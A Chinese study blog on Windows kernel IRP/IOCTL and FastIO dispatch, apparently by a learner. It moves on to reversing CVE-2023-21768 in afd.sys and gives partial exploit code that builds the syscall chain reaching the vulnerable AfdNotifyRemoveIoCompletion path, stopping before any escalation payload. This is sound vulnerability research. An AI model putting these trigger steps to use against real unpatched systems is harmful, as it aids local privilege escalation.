在学习windows内核的过程中遇到了很多问题,用这个blog来梳理思路,解决问题。
先把学习过程中看到的感觉不错的博客放在这
https://cloud.tencent.com/developer/article/2154322

https://www.anquanke.com/post/id/203237

https://bbs.kanxue.com/thread-277016.htm#msg_header_h3_6

https://blog.csdn.net/wenzhou1219/article/details/17659485

内核是什么?和用户态的区别在哪里?

用户态程序大家再熟悉不过了,一个main函数作为程序的入口点。开始执行之后顺着main函数继续执行就好了,很明确。

但是内核就不一样了。内核态的程序更多的是响应用户态的调用,满足用户态程序的需求(如对文件以及硬件的操作)

所以内核态程序和用户态的程序差距很大。首先,内核中的驱动程序没有main函数,取而代之的是一个叫做DriverEntry的函数——你总得告诉电脑程序从哪开始跑吧。但这个函数执行完了就完了,和main函数的相似性仅在于他们同为函数的入口点。功能方面,DriverEntry这个函数更类似于平常说的init函数。这个函数会对当前的驱动做一个初始化,从而更好的应对即将到来各种syscall。

syscall和内核中的函数

通过上文的描述,不难看出来(应该吧)内核台程序其实很像是web的api,等着前端来调用。而这个调用的方式就是syscall,所以,内核是怎么把每个syscall对应到内核中的某个函数,来对其进行处理的呢?这个过程叫做dispatch,可以理解为把用户态的syscall,或者说用户态进程的请求,和内态的一些函数做了一个映射。

How to dispatch?

事实上讲,笔者也还没学懂这块,所以要进入一开始就说的“梳理思路”阶段了

已知的一些内容

从kernel的角度来讲,在DriverEntry函数里,会对DriverObject做初始化,MajorFunction中会包含一些做dispatch的函数。

此外呢,IRP和IOCTL肯定是和这个过程有关的。用户态的进程可以通过一些函数来做出来包含IOCTL的IRP(? 然后内核台会收到IOCTL,根据IOCTL的内容把任务转交给内核中的一些函数。这里贴一下specterops大佬的图

img1

1、用户模式应用程序获取符号链接上的句柄。

2、用户模式应用程序使用DeviceIoControl()将所需的IOCTL和输入/输出缓冲区发送到符号链接。

3、符号链接指向驱动程序的设备对象,并允许驱动程序接收用户模式应用程序的数据包(IRP)。

4、驱动程序看到该数据包来自DeviceIoControl(),因此将其传递给已定义的内部函数MyCtlFunction()。

5、MyCtlFunction()将函数代码0x800映射到内部函数SomeFunction()。

6、SomeFunction()执行。

7、IRP已经完成,其状态以及驱动程序在用户模式应用程序中提供的输出缓冲区中包含的为用户提供的所有内容都将传回给用户。

注意:在这里我们并不是说IRP已经完成,但需要关注的是,一旦SomeFunction()执行,上述时间就可以发生,并且将得到函数返回的状态代码,这表明操作的结束。

问题在哪?

感觉哪都是问题,一步一步来吧。

第一步:1、用户模式应用程序获取符号链接上的句柄。

句柄?

可以不严谨的认为,句柄是一种指向指针的指针。即windows中的handle类型。其本质上是一个void类型的指针,可以指向任意一种数据结构。具体内容可以查看上面的第四个博客。

有一部分驱动程序在DriverEntry中会对driver_object创建一个符号链接,把当前驱动文件链接到用户态程序可以接触的地方从而方便用户态程序的操作。(这也就是第一部所说的获取到的句柄

但是有一些内部的驱动,只负责内核间的通信,则没有这个符号链接。(那这中内部的驱动是怎么被用户态程序调用的🤔

第二步:2、用户模式应用程序使用DeviceIoControl()将所需的IOCTL和输入/输出缓冲区发送到符号链接。

好吧。假设咱们的目标是一个做了符号链接的驱动,我们已经通过createFile函数获取了其句柄。接下来,怎么就可以喝这个驱动进行通信了。

DeviceIoControl()函数接受一个handle类型的参数,也就是咱们在第一步中获取的句柄——你需要告诉系统你要和哪个驱动通信,

1
2
3
4
5
6
7
8
9
10
BOOL DeviceIoControl(
[in] HANDLE hDevice,
[in] DWORD dwIoControlCode,
[in, optional] LPVOID lpInBuffer,
[in] DWORD nInBufferSize,
[out, optional] LPVOID lpOutBuffer,
[in] DWORD nOutBufferSize,
[out, optional] LPDWORD lpBytesReturned,
[in, out, optional] LPOVERLAPPED lpOverlapped
);

关于其他的参数,分别是:

dwIoControlCode:传说中的IOCTL,一会具体说吧(心虚

img2

lpInBuffer,nInBufferSize,lpOutBuffer,nOutBufferSize:分别是输入缓冲区指针,输入缓冲区的大小,以及输出缓冲区指针,输出缓冲区大小。

lpBytesReturned:指向变量的指针,用于接受不了返回数据的大小

lpOverlapped:指向 OVERLAPPED 结构的指针。(不太懂

这个函数传入的参数中应该包含了到底要调用kernel中哪个函数的信息(应该吧

3、符号链接指向驱动程序的设备对象,并允许驱动程序接收用户模式应用程序的数据包(IRP)。

很好,又出现新的专有名词了

什么是IRP?

IRP = IO Request Packet

可以认为,IRP是用来传达I/O请求的数据包(可以吧)这个数据包,可能的来源很多,不一定来源于用户态的系统调用,内核态之间的通信也可能会用到IRP。

不过在咱们目前的这个语境下,IRP就是来自用户态的syscall的。在上一步中,调用DeviceIoControl()函数后,我们就会从用户态陷入内核态(可喜可贺)。接下来,咱们的调用会被传达给IOmanager。这个模块会把咱们的请求转换为IRP并根据传入的句柄发送给对应的内核态程序,对应的内核台程序则使用IRPHandler来进行处理。这也就是

4、驱动程序看到该数据包来自DeviceIoControl(),因此将其传递给已定义的内部函数MyCtlFunction()。

在这里的语境(上图中,这个IRPHandler就特指IRP_MJ_DEVICE_CONTROL对应的MyCtlFunction())

5、MyCtlFunction()将函数代码0x800映射到内部函数SomeFunction()。

很好理解了,IRP中的具体内容决定了driver要具体通过哪一个函数来处理这个请求。到此为止,咱们就解决了上面的一个疑惑:

“内核是怎么把每个syscall对应到内核中的某个函数,来对其进行处理的呢?”

6、SomeFunction()执行。

7、IRP已经完成,其状态以及驱动程序在用户模式应用程序中提供的输出缓冲区中包含的为用户提供的所有内容都将传回给用户。

CVE-2023-21768

原理懂了(似乎)实操一下

一个windows内核afd.sys导致的提权漏洞。通过patch前后的sys文件对比,以及交叉引用,可以发现其漏洞点在于AfdFastIoDeviceControl–>AfdNotifySock–>AfdNotifyRemoveIoCompletion()

内核逆向

首先用diaphora之类的bindiff工具进行二进制文件比对,发现漏洞点在于AfdNotifyRemoveIoCompletion()。这一步比较简单,就不赘述。接下来开始调用连的追踪。

对AfdNotifyRemoveIoCompletion进行xrefs,发现只有一个函数有调用,即AfdNotifySock函数。再对其进行xrefs,发现只有一个叫AfdImmediateCallDispatch的表中有对应的函数。对这个表做xrefs,有两个函数做了引用,这里先来看AfdFastIoDeviceControl。在这个函数的第798行有这么一段代码

1
2
3
4
5
6
7
8
9
if ( v64 < 0x4A && AfdIoctlTable[v64] == a7 )
{
v65 = (__int64 (__fastcall *)(__int64, _QWORD, _QWORD, unsigned int *, unsigned int, __int64, int, __int64))AfdImmediateCallDispatch[v64];
if ( v65 )
{
*(_DWORD *)v107 = v65(a1, a7, PreviousMode, a3, a4, v106, a6, v107 + 8);
LOBYTE(v12) = 1;
}
}

可以看到,把v65变量赋值为AfdImmediateCallDispatch[v64]后对v65做了调用。那么对这个函数的追踪也就到头了。接下来看另外一条分支

对刚才的dispatch表做xrefs还可以追到AfdDispatchImmediateIrp这个函数。类似刚才的AfdImmediateCallDispatch,这个函数中也对这个表做了取值和调用,咱们继续xrefs,可以追到AfdIrpCallDispatch,继续追,追到AfdDispatchDeviceControl函数,继续追就追到afdDispatch这个函数或者DriverEntry了。

两条路径?

通过刚才的逆向,咱们发现了两条通往漏洞点的路径。后者就是典型的dispatch function。前者则是前文中没有提及过的一种dispatch方式:fastIO

1
2
3
4
5
6
memset64(DriverObject->MajorFunction, (unsigned __int64)&AfdDispatch, 0x1CuLL);
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&AfdDispatchDeviceControl;
DriverObject->MajorFunction[15] = (PDRIVER_DISPATCH)&AfdWskDispatchInternalDeviceControl;
DriverObject->MajorFunction[23] = (PDRIVER_DISPATCH)&AfdEtwDispatch;
DriverObject->FastIoDispatch = (PFAST_IO_DISPATCH)&AfdFastIoDispatch;
DriverObject->DriverUnload = (PDRIVER_UNLOAD)AfdUnload;

在DriverEntry中可以看到如上的内容,可以看到咱们在前面追到的函数都在这里出现了。MajorFunction中的几个就是注册传达IRP Handler,而下面的FastIoDispatch就是接下来要讲的另外一种dispatch方式。

FastIoDispatch

FastIO系统可以理解为平行为IRP之外的另一套dispatch系统。需要通过FastIoDeviceControl来进行实现,在用户层则通过NtDeviceIoControlFile进行调用。

所以,如果希望走fastIO这条线来到达漏洞点的话,显然需要在用户态上使用NtDeviceIoConntrolFile来进入内核态的AfdFastIoDeviceControl函数然后顺序调用AfdNotifySock->AfdNotifyRemoveIoCompletion

exp

(什么你问另外一条路径吗,网上说是走这条啊

syscalls

根据上面的分析呢,咱们能够确定需要调用的syscall有两个NtCreateFile来拿到afd驱动的句柄,NtDeviceIoControlFile来调用AfdFastIoDeviceControl。

此外,NtCreateFile需要一个IO_STATUS_BLOCK结构体,所以需要NtCreateIoCompletion和NtSetIoCompletion来拿这么一个东西(当然,不仅因为这个,笔者现在属于先射箭再画靶

NtCreateEvent这个syscall会创建一个事件,这个也是用来满足后面AfdFastIoDeviceControl的依赖。

args

确定了要调用的函数,接下来的问题就是syscall的参数。

首先调用的是NtCreateIoCompletion和NtSetIoCompletion这两个函数,用来创建IO端口。

NtCreateIoCompletion函数会创建一个IO_STATUS_BLOCK结构体,这个结构体会在NtSetIoCompletion中作为第一个参数传入。至于具体为什么,会在下面分析怎么到达漏洞点的时候去具体分析(会吧

接下来是NtCreateFile

1
2
3
4
5
6
7
8
9
10
11
12
13
__kernel_entry NTSYSCALLAPI NTSTATUS NtCreateFile(
[out] PHANDLE FileHandle,
[in] ACCESS_MASK DesiredAccess,
[in] POBJECT_ATTRIBUTES ObjectAttributes,
[out] PIO_STATUS_BLOCK IoStatusBlock,
[in, optional] PLARGE_INTEGER AllocationSize,
[in] ULONG FileAttributes,
[in] ULONG ShareAccess,
[in] ULONG CreateDisposition,
[in] ULONG CreateOptions,
[in, optional] PVOID EaBuffer,
[in] ULONG EaLength
);

第一个变量是用来接收句柄的,过。

第二个,不太懂(过

第三个,比较关键了,指向指定对象名称和其他属性的 OBJECT_ATTRIBUTES 结构的指针。基本就是这个参数指定了当前系统调用是指向哪个驱动文件的

1
2
3
4
5
6
7
8
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;

第四个是指向 IO_STATUS_BLOCK 结构的指针,也是一个接受输出的指针。这个地方需要把第一个syscall创建出来的传进去

其余几个是一些关于内存分配大小和指针之类的内容,不一一介绍(懒的仔细看了,应该不重要吧

(其实笔者觉得这个syscall就不太重要,毕竟只是拿一个afd.sys的句柄

所以在exp里,相关的参数构造如是写:

1
2
3
4
5
6
7
8
9
10
11
12
 _NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL, 1);
_NtSetIoCompletion(hCompletion, 0x1337, &IoStatusBlock, 0, 0x100);
ObjectFilePath.Buffer = (PWSTR)L"\\Device\\Afd\\Endpoint";
ObjectFilePath.Length = (USHORT)wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);
ObjectFilePath.MaximumLength = ObjectFilePath.Length;

ObjectAttributes.Length = sizeof(ObjectAttributes);
ObjectAttributes.ObjectName = &ObjectFilePath;
ObjectAttributes.Attributes = 0x40;

// 创建套接字文件对象
ret = _NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));

CreateEvent本身比较简单了,没有其他依赖,调一下就可以了。

接下来就是真正调用和触发漏洞的syscall了。也就是调用NtDeviceIoControlFile这个函数。

1
2
3
4
5
6
7
8
9
10
11
12
__kernel_entry NTSTATUS NtDeviceIoControlFile(
[in] HANDLE FileHandle,
[in] HANDLE Event,
[in] PIO_APC_ROUTINE ApcRoutine,
[in] PVOID ApcContext,
[out] PIO_STATUS_BLOCK IoStatusBlock,
[in] ULONG IoControlCode,
[in] PVOID InputBuffer,
[in] ULONG InputBufferLength,
[out] PVOID OutputBuffer,
[in] ULONG OutputBufferLength
);

前两个参数分别是文件句柄和事件句柄,依赖于前面CreateFile和CreateEvent的返回。其余的参数比较重要的是 [in] PVOID InputBuffer,用来给内核传达数据。

所以最终的调用长这样

1
_NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data, 0x30, NULL, 0);

今天先到这,明天先鸽了